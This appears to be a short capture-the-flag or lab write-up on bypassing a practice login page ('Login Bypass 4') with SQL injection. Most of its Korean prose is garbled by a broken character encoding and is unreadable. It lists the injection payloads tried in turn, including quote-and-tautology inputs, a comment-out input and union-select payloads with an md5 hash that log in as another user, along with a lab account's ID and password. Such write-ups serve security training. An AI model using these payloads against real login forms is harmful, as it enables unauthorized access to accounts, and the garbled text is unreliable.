[SegFault] Authentication Bypass (Login)
Login Bypass 4.
normaltic4 ๋ก ๋ก๊ทธ์ธํ์!
๋ฌธ์ ํ์
์์ ํ์ด์ง์ ์ ์ํ๋ฉด ์๋์ ๊ฐ์ ํ๋ฉด์ด ๋์จ๋ค.
- ์๊ณ ์๋ ๊ณ์ : [ID/PW] : doldol / dol1234
ํด๋น ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธํ์ฌ ํ์ธํด๋ณธ๋ค.
- ๋ก๊ทธ์ธ ๊ณผ์ ์ ๊ตฌ์กฐ๋ฅผ ์๊ธฐ ์ํด, ์๊ณ ์๋ ์ ๋ณด๋ก ๋ก๊ทธ์ธ ํด๋ณธ๋ค.
์๊ฐ๊ณผ์
1. SQL Injection์ด ๊ฐ๋ฅํ๊ฐ? Yes
-> doldol'and'1'='1 / dol1234๋ก ๋ก๊ทธ์ธ ์๋ : ์ฑ๊ณต
2. ์ด๋ค ๋ก์ง์ผ๋ก ์ด๋ฃจ์ด์ ธ ์์๊น?
2-1. ์๋ณ/์ธ์ฆ ๋์
normaltic3'or'1'='1 ์๋ : ์คํจ(Fail)
2-2. or ํํฐ๋ง
normaltic'# / dol1234 ์๋ : ์คํจ
2-3 ์๋ณ/์ธ์ฆ ๋ถ๋ฆฌ
'union select 'normaltic4','dol1234'# / dol1234 : ์คํจ
2-4 ์๋ณ/์ธ์ฆ ๋ถ๋ฆฌ + HASH
'union select 'normaltic4',md5('dol1234')# / dol1234
ํ์ด๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์